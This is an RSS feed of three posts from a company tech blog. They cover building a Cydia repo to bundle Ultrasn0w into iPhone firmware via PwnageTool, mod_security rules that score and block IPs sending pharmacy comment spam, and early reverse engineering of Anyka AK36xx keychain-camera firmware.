<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Computer Solutions Blog &#187; Exploits</title>
	<atom:link href="http://www.computersolutions.cn/blog/category/exploits/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.computersolutions.cn/blog</link>
	<description>Whats happening at Computer Solutions</description>
	<lastBuildDate>Fri, 13 Jan 2012 02:32:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>How to add Ultrasn0w to an iPhone with no Wifi using PwnageTool &#8211; or how to unlock a phone with no wifi.</title>
		<link>http://www.computersolutions.cn/blog/2011/03/how-to-add-ultrasn0w-to-an-iphone-with-no-wifi-using-pwnagetool-or-how-to-unlock-a-phone-with-no-wifi/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=how-to-add-ultrasn0w-to-an-iphone-with-no-wifi-using-pwnagetool-or-how-to-unlock-a-phone-with-no-wifi</link>
		<comments>http://www.computersolutions.cn/blog/2011/03/how-to-add-ultrasn0w-to-an-iphone-with-no-wifi-using-pwnagetool-or-how-to-unlock-a-phone-with-no-wifi/#comments</comments>
		<pubDate>Mon, 07 Mar 2011 14:28:23 +0000</pubDate>
		<dc:creator>Lawrence Sheed</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Firmware]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Technical Mumbo Jumbo]]></category>
		<category><![CDATA[Useful Info]]></category>
		<category><![CDATA[cydia]]></category>
		<category><![CDATA[ipsw]]></category>
		<category><![CDATA[no wifi]]></category>
		<category><![CDATA[pwnagetool]]></category>
		<category><![CDATA[ultrasn0w]]></category>
		<category><![CDATA[ultrasnow]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[wifi broken]]></category>

		<guid isPermaLink="false">http://www.computersolutions.cn/blog/?p=685</guid>
		<description><![CDATA[Had a client come into the office today with a locked iPhone. Normally this isn&#8217;t really a big deal (assuming that there is a hack for it), but in this case, it was a little more complex, as he didn&#8217;t have working wifi. PwnageTool has a great feature where you can add Cydia Packages to [...]]]></description>
			<content:encoded><![CDATA[<p>Had a client come into the office today with a locked iPhone.</p>
<p>Normally this isn&#8217;t really a big deal (assuming that there is a hack for it), but in this case, it was a little more complex, as he didn&#8217;t have working wifi.</p>
<p>PwnageTool has a great feature where you can add Cydia Packages to a custom firmware, so that you can prepackage the firmware already to go.</p>
<p>So, I opened up PwnageTool, added the <a href="http://repo666.ultrasn0w.com/">http://repo666.ultrasn0w.com/</a> site to the Cydia sources section in advanced, and tried to load in Ultrasn0w.</p>
<p>Life isn&#8217;t easy, and it didn&#8217;t work.</p>
<p>But why didn&#8217;t it work?</p>
<p>I took a look at a working site, and checked out the differences between their package section and Ultrasn0w&#8217;s.</p>
<p>Ultrasn0w is hosted on repo666.ultrasn0w.com<br />
While their website doesn&#8217;t really tell you much useful information,  a bit of googling lead to some info.</p>
<p>The .deb file (debian package file) on their site is at <a href="http://repo666.ultrasn0w.com/ultrasn0w.deb">http://repo666.ultrasn0w.com/ultrasn0w.deb</a></p>
<p>Cydia usually needs stuff in a  particular format, so I next checked out how one makes a repository.<br />
This is documented at Saurik&#8217;s site here &#8211; <a href="http://www.saurik.com/id/7">http://www.saurik.com/id/7</a></p>
<p>Basically, you throw files into a folder and make a Packages file.</p>
<p>The example given on Saurik&#8217;s site is this:</p>
<p><code>/web/apt/xmpl]# dpkg-scanpackages -m . /dev/null >Packages<br />
 ** Packages in archive but missing from override file: **<br />
  com.saurik.myprogram</p>
<p> Wrote 1 entries to output Packages file.<br />
[root@desktop:/web/apt/xmpl]# bzip2 Packages<br />
[root@desktop:/web/apt/xmpl]# ls -la *<br />
-rw-r--r-- 1 root root 906 2008-07-01 07:48 MyProgram.deb<br />
-rw-r--r-- 1 root root 380 2008-07-01 08:00 Packages.bz2<br />
[root@desktop:/web/apt/xmpl]# </code></p>
<p>So, it appears we need a Packages.bz2 file.</p>
<p>Being adventurous, I decided to setup my own repo, and stuck the .deb file for Ultrasn0w in there.<br />
Followed the instructions and created the Packages.bz2 file.</p>
<p>Tried again in PwnageTool, and&#8230;  No go.</p>
<p>Hmm.</p>
<p>Does <a href="http://repo666.ultrasn0w.com">http://repo666.ultrasn0w.com</a> have a Packages.bz2 file?<br />
Why yes it does.</p>
<p>Take another look at the working one &#8211; ahah says my brain.</p>
<p>They point the folder to the _uncompressed_ Packages file.<br />
I guess PwnageTool doesn&#8217;t support compressed Package list files.</p>
<p>So, I try that out using an uncompressed file.<br />
Created the Packages file with </p>
<p><code>dpkg-scanpackages -m . /dev/null >Packages</code></p>
<p>and try again.</p>
<p>Better &#8211; I&#8217;m getting a result now with my repo when I click refresh.<br />
However, I can&#8217;t seem to be able to download any files&#8230;</p>
<p>So, lets take a look at whats happening in my apache logs.</p>
<p><code><br />
58.37.213.199 - - [07/Mar/2011:20:50:52 +0800] "GET /dists/Packages HTTP/1.1" 200 1643 "-" "PwnageTool/4.2 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (iMac9%2C1)"<br />
58.37.213.199 - - [07/Mar/2011:20:51:06 +0800] "GET /./mobilesubstrate_0.9.3228-1_iphoneos-arm.deb HTTP/1.1" 404 1184 "-" "PwnageTool/4.2 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (iMac9%2C1)"<br />
58.37.213.199 - - [07/Mar/2011:20:51:42 +0800] "GET /./ultrasn0w.deb HTTP/1.1" 404 1164 "-" "PwnageTool/4.2 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (iMac9%2C1)"<br />
</code></p>
<p>Aha!  While its successfully found the repo now, its looking for the files in the wrong folder &#8211; my repo is in /dists, and its looking in the root folder.</p>
<p>Seems the Saurik instructions are a bit mangled, or the Package generator is a bit silly.<br />
Quick look at the helpfile shows it needs the folder via -m</p>
<p>So I went up a level, and regenerated my file.</p>
<p><code><br />
cd ..<br />
dpkg-scanpackages -m dists > dists/Packages<br />
</code></p>
<p>Yes, it works!</p>
<p><a href="http://www.computersolutions.cn/blog/wp-content/uploads/2011/03/cydia-repo.gif"><img src="http://www.computersolutions.cn/blog/wp-content/uploads/2011/03/cydia-repo.gif" alt="" title="cydia repo" width="652" height="196" class="aligncenter size-full wp-image-686" /></a></p>
<p>Now PwnageTool can download my file finally.  Yay!</p>
<p>I just need to select it in PwnageTool / Packages as below, and build my ipsw to test.</p>
<p><a href="http://www.computersolutions.cn/blog/wp-content/uploads/2011/03/cydia-select.gif"><img src="http://www.computersolutions.cn/blog/wp-content/uploads/2011/03/cydia-select.gif" alt="" title="cydia select" width="681" height="192" class="aligncenter size-full wp-image-687" /></a></p>
<p>Now I can finally make my own Ultrasn0w firmware woohoo!<br />
Not as hard as it seems, but not as easy either!</p>
<p><s>I&#8217;ll leave my UltraSn0w repo at <a href="http://www.sheed.com/dists/">http://www.sheed.com/dists/</a> for now, but will probably move it elsewhere at some point, and update this post.  So, if you need it, get it while you can.</s></p>
<p>Lawrence.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.computersolutions.cn/blog/2011/03/how-to-add-ultrasn0w-to-an-iphone-with-no-wifi-using-pwnagetool-or-how-to-unlock-a-phone-with-no-wifi/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>comment spam blocking with mod_security debian and gotroot rulesets</title>
		<link>http://www.computersolutions.cn/blog/2010/12/comment-spam-blocking-with-mod_security-debian-and-gotroot-rulesets/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=comment-spam-blocking-with-mod_security-debian-and-gotroot-rulesets</link>
		<comments>http://www.computersolutions.cn/blog/2010/12/comment-spam-blocking-with-mod_security-debian-and-gotroot-rulesets/#comments</comments>
		<pubDate>Thu, 23 Dec 2010 03:48:41 +0000</pubDate>
		<dc:creator>Lawrence Sheed</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Technical Mumbo Jumbo]]></category>
		<category><![CDATA[Useful Info]]></category>
		<category><![CDATA[atomicorp]]></category>
		<category><![CDATA[blocking comment spam]]></category>
		<category><![CDATA[latvian spammers]]></category>
		<category><![CDATA[modsecurity]]></category>
		<category><![CDATA[ruleset]]></category>

		<guid isPermaLink="false">http://www.computersolutions.cn/blog/?p=633</guid>
		<description><![CDATA[Comment spam is a big load on servers &#8211; recently troubleshooting some intermittent load issues on one of our webservers, I discovered that one page was getting hammered by comment spam abuse &#8211; the page had already generated over 400,000 comments, which was causing the server to be slightly unhappy loadwise. After clearing out the [...]]]></description>
			<content:encoded><![CDATA[<p>Comment spam is a big load on servers &#8211; recently troubleshooting some intermittent load issues on one of our webservers, I discovered that one page was getting hammered by comment spam abuse &#8211; the page had already generated over 400,000 comments, which was causing the server to be slightly unhappy loadwise.</p>
<p>After clearing out the comment table for that clients site, I looked into solutions.</p>
<p>mod_security was an obvious one, and the <a href="http://www.atomicorp.com/">atomic corp rules</a> seem to be better than the default mod_security ones (which break most popular apps, sigh).  However, although the gotroot rules were good at blocking comment spam, they don&#8217;t block the ip&#8217;s, so persistent spammer bots will still hammer the server.</p>
<p><strong>So, whats a solution?</strong><br />
Blocking the ip&#8217;s dynamically for a short period.<br />
Assuming you have a standard setup, the below should be of interest.</p>
<p>I stick my ruleset into /etc/modsecurity2, so amend your url&#8217;s accordingly.</p>
<p>My default initialise code is below (pretty much stock except for the end part)</p>
<p>/etc/modsecurity2/modsecurity_crs_10_config.conf</p>
<pre class="wp-code-highlight prettyprint">SecRuleEngine On</pre>
<pre class="wp-code-highlight prettyprint"> SecRequestBodyAccess On</pre>
<pre class="wp-code-highlight prettyprint"> SecResponseBodyAccess On</pre>
<pre class="wp-code-highlight prettyprint"> SecResponseBodyMimeType (null) text/html text/plain text/xml</pre>
<pre class="wp-code-highlight prettyprint"> SecResponseBodyLimit 2621440</pre>
<pre class="wp-code-highlight prettyprint"> SecServerSignature Apache</pre>
<pre class="wp-code-highlight prettyprint"> SecComponentSignature 200911012341</pre>
<pre class="wp-code-highlight prettyprint"> SecUploadDir /var/asl/data/suspicious</pre>
<pre class="wp-code-highlight prettyprint"> SecUploadKeepFiles Off</pre>
<pre class="wp-code-highlight prettyprint"> SecAuditEngine RelevantOnly</pre>
<pre class="wp-code-highlight prettyprint"> SecAuditLogRelevantStatus &quot;^(?:5|4(?!04))&quot;</pre>
<pre class="wp-code-highlight prettyprint"> SecAuditLogType Concurrent</pre>
<pre class="wp-code-highlight prettyprint"> SecAuditLog /var/log/apache2/modsec_audit.log</pre>
<pre class="wp-code-highlight prettyprint"> SecAuditLogParts ABIFHZ</pre>
<pre class="wp-code-highlight prettyprint"> SecArgumentSeparator &quot;&amp;amp;&quot;</pre>
<pre class="wp-code-highlight prettyprint"> SecCookieFormat 0</pre>
<pre class="wp-code-highlight prettyprint"> SecRequestBodyInMemoryLimit 131072</pre>
<pre class="wp-code-highlight prettyprint"> SecDataDir /var/asl/data/msa</pre>
<pre class="wp-code-highlight prettyprint"> SecTmpDir /tmp</pre>
<pre class="wp-code-highlight prettyprint"> SecAuditLogStorageDir /var/asl/data/audit</pre>
<pre class="wp-code-highlight prettyprint"> SecResponseBodyLimitAction ProcessPartial</pre>
<pre class="wp-code-highlight prettyprint">SecPcreMatchLimit 100000</pre>
<pre class="wp-code-highlight prettyprint">SecPcreMatchLimitRecursion 100000</pre>
<pre class="wp-code-highlight prettyprint">SecDebugLog /var/log/apache2/modsec_debug.log</pre>
<pre class="wp-code-highlight prettyprint">SecDebugLogLevel 3</pre>
<pre class="wp-code-highlight prettyprint">### Ruleset additions for blocking ########################################</pre>
<pre class="wp-code-highlight prettyprint"># Make sure to clear the default action</pre>
<pre class="wp-code-highlight prettyprint">SecDefaultAction phase:1,pass</pre>
<pre class="wp-code-highlight prettyprint"># Initialize collection and deprecate by 3 points per day (86400 seconds)</pre>
<pre class="wp-code-highlight prettyprint">SecAction phase:1,initcol:IP=%{REMOTE_ADDR},deprecatevar:IP.spam=3/86400,nolog</pre>
<pre class="wp-code-highlight prettyprint"># If there are already &amp;gt;15 spam points for this IP, then drop</pre>
<pre class="wp-code-highlight prettyprint"># the connection and add 1 point (instead of 3, as below).</pre>
<pre class="wp-code-highlight prettyprint">SecRule IP:spam &quot;@gt 15&quot; phase:1,setvar:IP.spam=+1,drop,setenv:spam=spam</pre>
<pre class="wp-code-highlight prettyprint"># Clear the default action for any mod_security rules later in httpd.conf.</pre>
<pre class="wp-code-highlight prettyprint">SecDefaultAction phase:1,pass</pre>
<pre class="wp-code-highlight prettyprint">### End Ruleset additions for blocking ####################################</pre>
<p><strong>What does it do?  Basically we keep score of any ip address that visits the site.</strong><br />
Every day any scores depreciate by 3 points per ip.<br />
If any ip scores more than 15 points, we block it.</p>
<p>Now, as it stands, its pretty useless, as we don&#8217;t do any scoring.</p>
<p>So, next we&#8217;ll need to add some scoring to some of the rules.</p>
<p>In our case, we were getting seriously hammered by pharmacy spam (mostly out of latvia)</p>
<p>So, I went into the default gotroot ruleset that I installed into /etc/modsecurity2</p>
<p>Comment spam is in this file: 30_asl_antispam.conf</p>
<p>I added some scoring there.<br />
In my case, we saw hundreds of thousands of attempts for levitra and tramadol spam, so I went to the pharmacy scoring, and added this:</p>
<p><code>setvar:IP.spam=+15</code> in the SecRule check.<br />
This means that any positive lookup for that rule will give the ip a 15 point score.<br />
That will block that attacker ip from the site for 5 days (as  we decrement 3 points per day for a given ip).</p>
<p>The setvar needs to go after the &#8220;capture,&#8230;&#8221; part of the rule.</p>
<p>eg</p>
<p><em>(don&#8217;t copy, paste this, you&#8217;ll need to add &#8220;setvar:IP.spam=+15&#8243; into your existing file)</em><br />
<code># Rule 300040:<br />
SecRule ARGS|!ARGS:/domain/|!ARGS:description|!ARGS:redirect_to|!ARGS:setting[banemail]|!ARGS:/username/|!ARGS:/user_name/|!ARGS:/page_content/|!ARGS:/search/|!ARGS:/email/!ARGS:Mensaje|!ARGS:/product/|!ARGS:/domain/|!ARGS:description$<br />
"capture,<strong>setvar:IP.spam=+15</strong>,id:300040,rev:7,severity:2,msg:'Atomicorp.com - FREE UNSUPPORTED DELAYED FEED - WAF Rules: Spam: Pharmacy',logdata:'%{TX.0}'"</code></p>
<p>I added this to appropriate places, and watched for our first victim^Mspammer in our site logs.<br />
Bingo &#8211; here we have a spammer trying to add to a url on one of our sites:</p>
<blockquote><p>[23/Dec/2010:11:39:45 +0800] [www.chou.cn/sid#bcf3f338][rid#b339b670][/gallery/papratiti/img_5993.jpg.php][1] Access denied with code 403 (phase 2). Pattern match &#8220;(?:buy[-_ ]?(cheap)?[-_ ]?(?:adipex|suboxone|pseudovent|topamax|trazodone|prevacid|zyrtec|xenical|toprol|zoloft&#8230;&#8221; at ARGS:comment. [file "/etc/modsecurity2/30_asl_antispam.conf"] [line "194"] [id "300061"] [rev "10"] [msg "Atomicorp.com - FREE UNSUPPORTED DELAYED FEED - WAF Rules: Spam: Pharmacy"] [data "xanax"] [severity "CRITICAL"]</p>
<p>[23/Dec/2010:11:43:16 +0800] [www.chou.cn/sid#bcf3f338][rid#bfac9d68][/gallery/papratiti/img_5993.jpg.php][1] Access denied with connection close (phase 1). Operator GT matched 15 at IP:spam. [file "/etc/modsecurity2/modsecurity_crs_10_config.conf"] [line "40"]</p></blockquote>
<p>Bam, that ip is blocked (for 5 days).  Next time around, as its the first rule to run, it will block immediately without processing other rules.</p>
<p>You can amend the block times by decreasing the increments or scoring as per your requirements.</p>
<p>All in all, this is an easy amendment to make to the gotroot rules, and makes for faster experience for users.<br />
Thanks to <a href="http://linux.icydog.net/apache/commentspam.php">http://linux.icydog.net/apache/commentspam.php</a> for his implementation, this is pretty much based off that.</p>
<p>Lawrence</p>
]]></content:encoded>
			<wfw:commentRss>http://www.computersolutions.cn/blog/2010/12/comment-spam-blocking-with-mod_security-debian-and-gotroot-rulesets/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Firmware hackery on Keychain &#8220;spycams&#8221; [AK36xx based]</title>
		<link>http://www.computersolutions.cn/blog/2010/08/firmware-hackery-on-keychain-spycams-ak36xx-based/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=firmware-hackery-on-keychain-spycams-ak36xx-based</link>
		<comments>http://www.computersolutions.cn/blog/2010/08/firmware-hackery-on-keychain-spycams-ak36xx-based/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 17:59:27 +0000</pubDate>
		<dc:creator>Lawrence Sheed</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Technical Mumbo Jumbo]]></category>
		<category><![CDATA[ak3651b]]></category>
		<category><![CDATA[ak3xx]]></category>
		<category><![CDATA[Anyka]]></category>
		<category><![CDATA[CK808]]></category>
		<category><![CDATA[Hacking Firmware]]></category>
		<category><![CDATA[Keychain Video Camera]]></category>

		<guid isPermaLink="false">http://www.computersolutions.cn/blog/?p=579</guid>
		<description><![CDATA[As I&#8217;ve been busy with real life &#8482;, its been a while since I took a trip to the computer mall to see what new goodies I could play with. A friend is in town from Beijing, so took him down to the Shanzhai hell (or heaven depending on PoV) that is Qiu Jiang lu. [...]]]></description>
			<content:encoded><![CDATA[<p>As I&#8217;ve been busy with real life &#8482;, its been a while since I took a trip to the computer mall to see what new goodies I could play with.</p>
<p>A friend is in town from Beijing, so took him down to the Shanzhai hell (or heaven depending on PoV) that is Qiu Jiang lu.</p>
<p>I wasn&#8217;t aware that you could buy Keychain video recorders for 80rmb, but you can.  Apparently they&#8217;re even cheaper in eBay &#8211; although I don&#8217;t see how its possible, given that the factories here are pricing higher than they sell for in the States.  Rejects?</p>
<p>Anyhow, I bought 2 keychain video camera&#8217;s, and an MP3 looking one.</p>
<p><a href="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/imgA.jpg"><img src="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/imgA.jpg" alt="(swiped from Chuck Lohr&#039;s post)" title="imgA" width="287" height="250" class="alignnone size-full wp-image-590" /></a></p>
<p>Dissected one and it contains the Anyka AK3651B as the main chip.</p>
<p>The AK36xx series is an SoC (System on a Chip).</p>
<p><a href="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/ak36xx.jpg"><img src="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/ak36xx.jpg" alt="" title="ak36xx" width="575" height="388" class="alignnone size-full wp-image-589" /></a></p>
<p>As Anyka appears to be deathly afraid of giving out any useful information about their products, I&#8217;ve had to piece together info from what I found online.</p>
<p>Their own product page here &#8211; <a href="http://www.anyka.com/enProShow.asp?sortFlag=110&#038;sortName=Application%20Processor&#038;id=105">http://www.anyka.com/enProShow.asp?sortFlag=110&#038;sortName=Application%20Processor&#038;id=105</a><br />
says the following:</p>
<blockquote><p>32-bit Microprocessor Core<br />
Integrated I/D cache<br />
Memory Management Unit (MMU)</p>
<p>Video Coprocessor<br />
MPEG4.SP codec<br />
H.263 codec<br />
Motion JPEG codec</p>
<p>Audio Coprocessor<br />
MP3 decoder<br />
WMA decoder<br />
AAC/AAC+ decoder<br />
AMR codec<br />
Real-time audio stream in PCM/ADPCM format</p>
<p>Image Coprocessor<br />
JPEG HW codec</p>
<p>Glueless Dual LCD Displays<br />
Supporting MPU LCD<br />
Supporting RGB LCD<br />
Programmable LCD size and refreshing rate</p>
<p>Connectivity<br />
USB 2.0 HS OTG<br />
I2S master/slave<br />
UART<br />
SPI<br />
MMC/SD</p>
<p>Embedded ADCs and DACs<br />
SAR ADC for touch panel and voltage detect<br />
Sigma-Delta ADC for microphone<br />
Sigma-Delta DACs for stereo</p>
<p>Built-in Power Amplifier/Headphone Driver</p>
<p>External Memory Support<br />
Supporting SDRAM<br />
Supporting Nand Flash (SLC/MLC, with hardware ECC)</p>
<p>Package<br />
LQFP 128-pin/144-pin，FBGA 100-pin/144-pin</p></blockquote>
<p>Appears that they&#8217;re mostly used in MP3/MP4 players, which is why most of my googling on specs was ruined by whiny users asking for someone to please help them with their foobar&#8217;d player.</p>
<p>The first useful links on these are at Chuck&#8217;s pages here &#8211; <a href="http://www.chucklohr.com/808/">http://www.chucklohr.com/808/</a></p>
<p>He&#8217;s done a lot of useful work collating information, although some of his deductions are a little strange, so take some things with a pinch of salt.  Lots of good info though.</p>
<p>The main source of info on the hardware side is at <a href="http://www.readerme.com">http://www.readerme.com</a>, they have a most excellent section of downloads which provide more information on the chips than anything else out there!</p>
<p>We gave them a call and had a chat (one of the benefits of being located in China, is that we obviously speak Chinese in the office!).<br />
They don&#8217;t speak great Mandarin though &#8211; so it was bad cantonesedarin or Mandonese?   Hmm, have to come up with a word for that!  (similar to Chinglish but mixing Cantonese and Mandarin).</p>
<p>Both sides were laughing but we could at least talk to each other.   &#8220;Mo man tai, dui ma?&#8221;</p>
<p>They actually don&#8217;t sell products, they only do design work for others, but, thats good to know.<br />
They did point us in the direction of a few trading companies that could do FOB export, but shipping quantities are in the x,000&#8242;s so not so useful yet.</p>
<p>I&#8217;ll see if I can find the actual factories making these tomorrow.  (Although when I say we, I mean the staff).<br />
They did prove to be an excellent source of data on the chips though if one takes a look at the PDF&#8217;s on their site.</p>
<p>The golden data trove is here &#8211; <a href="http://www.readerme.com/html/html/%E7%9B%B8%E5%85%B3%E4%BA%A7%E5%93%81%E5%8E%9F%E7%90%86%E5%9B%BE%EF%BC%8C%E8%B4%B4%E7%89%87%E5%9B%BE.html">http://www.readerme.com/html/html/%E7%9B%B8%E5%85%B3%E4%BA%A7%E5%93%81%E5%8E%9F%E7%90%86%E5%9B%BE%EF%BC%8C%E8%B4%B4%E7%89%87%E5%9B%BE.html</a></p>
<p>According to Anyka (安凯 in Chinese) the 36xx chips are a series, so they should have similar functionality.  </p>
<p>While I don&#8217;t have data sheets, or a BSP, I can read the PDF&#8217;s at least to get an idea of where things are laid out.</p>
<p>AK3631B<br />
<a href="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/3631-pin-layout.gif"><img src="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/3631-pin-layout-295x300.gif" alt="" title="3631 pin layout" width="295" height="300" class="alignnone size-medium wp-image-583" /></a></p>
<p>AK3651B<br />
<a href="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/ak3651b-BGA100.gif"><img src="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/ak3651b-BGA100-296x300.gif" alt="" title="ak3651b BGA100" width="296" height="300" class="alignnone size-medium wp-image-584" /></a></p>
<p>They do look similar, so probably only minor differences in functionality (probably the newer ones are cheaper?).<br />
Again, hard to check, as Anyka datasheets appear to be hens teeth.  </p>
<p>I may give them a call also, and see if they&#8217;ll be willing to give us some info about their products, but I&#8217;m not holding my breath on that one.</p>
<p>I&#8217;ve also poked around a bit in the firmware files using strings, and taking a look at headers, and have come up with some preliminary conclusions.</p>
<p>I&#8217;m guessing their SoC is ARM5 based, given what i have found (haven&#8217;t decompiled yet, but looks like that).</p>
<p>Some common strings in the firmware&#8217;s from start:</p>
<p>00000 06 00 00 EA FE FF FF EA</p>
<p>Googling &#8220;06 00 00 EA FE FF FF EA&#8221; comes up with some other people talking about firmware for pxa312 devices, which have exactly that in their boot loader, so, seems likely.</p>
<p>The PXA312 is ARMv5TE&#8230;</p>
<p>I&#8217;m guessing some playing around with radare (<a href="http://radare.nopcode.org/get/radare.pdf.html">http://radare.nopcode.org/get/radare.pdf.html</a>) should get some more info about whats going on.</p>
<p>Running strings on the firmware files available shows interesting info:</p>
<blockquote><p>strings /Documents/Keychain\ Camera/cx311V2.04/Spiboot_36XX.bin<br />
ANYKA362<br />
  6KA49<br />
start read cfg<br />
file cnt:%d<br />
file name:%s<br />
Cannot find BIOS<br />
read file info fail<br />
load bios &#8230;&#8230;<br />
map:%d<br />
file len:%d<br />
ld addr:0x%x<br />
Load bios from spiflash successfuly!<br />
read BIOS fail<br />
spi boot start<br />
system clock: %d<br />
BIOS</p>
</blockquote>
<p>Thats our 4k bootloader, which obviously loads our 1M bios image from SPI flash memory (SPI = Serial Peripheral Interface)<br />
More on SPI here.<br />
<a href="http://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus">http://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus</a></p>
<p>Hmm, more reasons for me to get a Bus Pirate now&#8230;</p>
<p>We have a flasher also, although its Windows based.<br />
I&#8217;m guessing some USB sniffing will lead to some magic byte handshake sequence to get into the bootloader via USB, as the BIOS strings point to that.</p>
<p>eg: </p>
<blockquote><p>&#8220;The setup packet is not 8 byte!&#8221;
</p></blockquote>
<p>Also amusing is that its fairly easy to find the FAT32 code embedded in at least one of the firmwares</p>
<p>EB xx 90 &#8230; -> 55 AA (in Sprint1M.bin)</p>
<p><a href="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/hex-view-of-spring1m.gif"><img src="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/hex-view-of-spring1m.gif" alt="" title="hex view of spring1m" width="646" height="218" class="alignnone size-full wp-image-581" /></a></p>
<p>The flasher tool is also nice enough to give us an idea of layout in the 1M flash chip.</p>
<p>You&#8217;ll need to install the Anyka M3 USB driver to talk to the chip, which appears to have the following attributes via USB:<br />
Vendor ID: 0471<br />
Product ID: 0666  (the product of the beast? hehe)</p>
<p>This is a bit naughty, as 0471 is in theory already taken by  Philips (or NXP) according to <a href="http://www.linux-usb.org/usb.ids">http://www.linux-usb.org/usb.ids</a></p>
<p>Its also astoundingly obvious that they used driverworks to make the driver. (From the oh so copied in China vid/pid, and the strings left in the driver).  An example of this here <a href="http://www.baiheee.com/OpenSource/Easy%20USB%2051%20Programer/Easy%20USB%2051%20Programer_DriveOurBoard.htm">http://www.baiheee.com/OpenSource/Easy%20USB%2051%20Programer/Easy%20USB%2051%20Programer_DriveOurBoard.htm</a></p>
<p>Want to bet someone read those instructions and its been repeated ad nauseum?<br />
Sadly, its so easy to see the minimal effort that&#8217;s gone into things.</p>
<p>Back to our flasher, it says that our 1M chip is laid out as follows:</p>
<blockquote><p>###Project Name<br />
project name = chaoxian</p>
<p>###Devie Number<br />
device channel = 8</p>
<p>###COM<br />
com bOpen = 0<br />
com base = 1<br />
com count = 1<br />
com baud rate = 38400</p>
<p>path producer sundance2 = producer_sundance2.bin<br />
path producer sundance2A uboot = producer_sundance2A_uboot.bin<br />
path producer sundance2A umass = producer_sundance2A_umass.bin<br />
path nandboot sundance2= Spiboot_36XX.bin<br />
path nandboot sundance2A= Spiboot_36XX.bin</p>
<p>bios run addr = 0&#215;30500000<br />
bios start addr = 0xc0000<br />
bios end addr = 0x1c0000<br />
bios backup start addr = 0x1c0000<br />
bios backup end addr = 0x2c0000</p>
<p>chip type = AK_3225<br />
chip uboot = 1<br />
chip power off gpio = 255<br />
chip usb2 = 0<br />
chip get aid = 0<br />
chip update = 0<br />
chip select loop = 1<br />
chip select nand0 = 1<br />
chip select nand1 = 1<br />
chip select nand2 = 1<br />
chip select nand3 = 1<br />
chip gpio_ce2 = 255<br />
chip gpio_ce3 = 255</p>
<p>ram size = 8<br />
ram row = 12<br />
ram column = 8<br />
ram bank = 4</p>
<p>moduleburn DownloadMode = 2<br />
moduleburn bDownloadFLS = 1<br />
moduleburn bDownloadEEP = 1<br />
moduleburn baudrate = 921600<br />
moduleburn gpio_dtr = 85<br />
moduleburn gpio_module_igt = 109<br />
moduleburn gpio_module_reset = 87<br />
moduleburn path_fls = LCG2.fls<br />
moduleburn path_eep = LCG2.eep</p>
<p>fs start addr = 0x6c0000<br />
fs reserver block = 64<br />
fs nonfs reserve size = 4</p>
<p>partition count = 0</p>
<p>download_to_udisk count = 0</p>
<p>download_to_nand count = 3<br />
download_to_nand1 = 0, Spring1M_bios.bin, 0&#215;30500000, BIOS<br />
download_to_nand2 = 0, Spring.bin, 0&#215;30000000, MMI<br />
download_to_nand3 = 0, AkResData.Bin, 0&#215;0, RES</p>
<p>download_to_mtd count = 0</p>
<p>nand supported count = 0
</p></blockquote>
<p>If we take a look at that, our Spring1M_bios.bin starts off at C000<br />
(bios start addr = 0xc0000)<br />
(Deduct a 0 as we&#8217;re not offset by 0&#215;300000000)</p>
<p>A look in a hex editor at that position shows:</p>
<p><a href="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/spring1M_bios-0xc000.gif"><img src="http://www.computersolutions.cn/blog/wp-content/uploads/2010/08/spring1M_bios-0xc000.gif" alt="" title="spring1M_bios 0xc000" width="649" height="204" class="alignnone size-full wp-image-585" /></a></p>
<p>Note the 32bit word value &#8211; 0xE1A0C00D</p>
<p>Thats classic ARM, so we _know_ its arm based&#8230;</p>
<blockquote><p>romStart [0xe1a0c00d] mov r12,r13</p></blockquote>
<p>Our next line of code is exactly the same as listed here <a href="http://code.google.com/p/milestone-overclock/wiki/Disassembly">http://code.google.com/p/milestone-overclock/wiki/Disassembly</a></p>
<blockquote><p> e1a0c00d        mov     ip, sp<br />
 e92dd8f0        push    {r4, r5, r6, r7, fp, ip, lr, pc}</p></blockquote>
<p>So its looking like we can basically disassemble the code using  arm-none-linux-gnueabi-objdump</p>
<p>I&#8217;ll leave that for another day, but with a bit more work we could compile our own code for this as we now have a good idea of the target cpu.</p>
<p>The next step would be to get into the bootloader or debug mode via USB, and see what can be seen.</p>
<p>Tools used:</p>
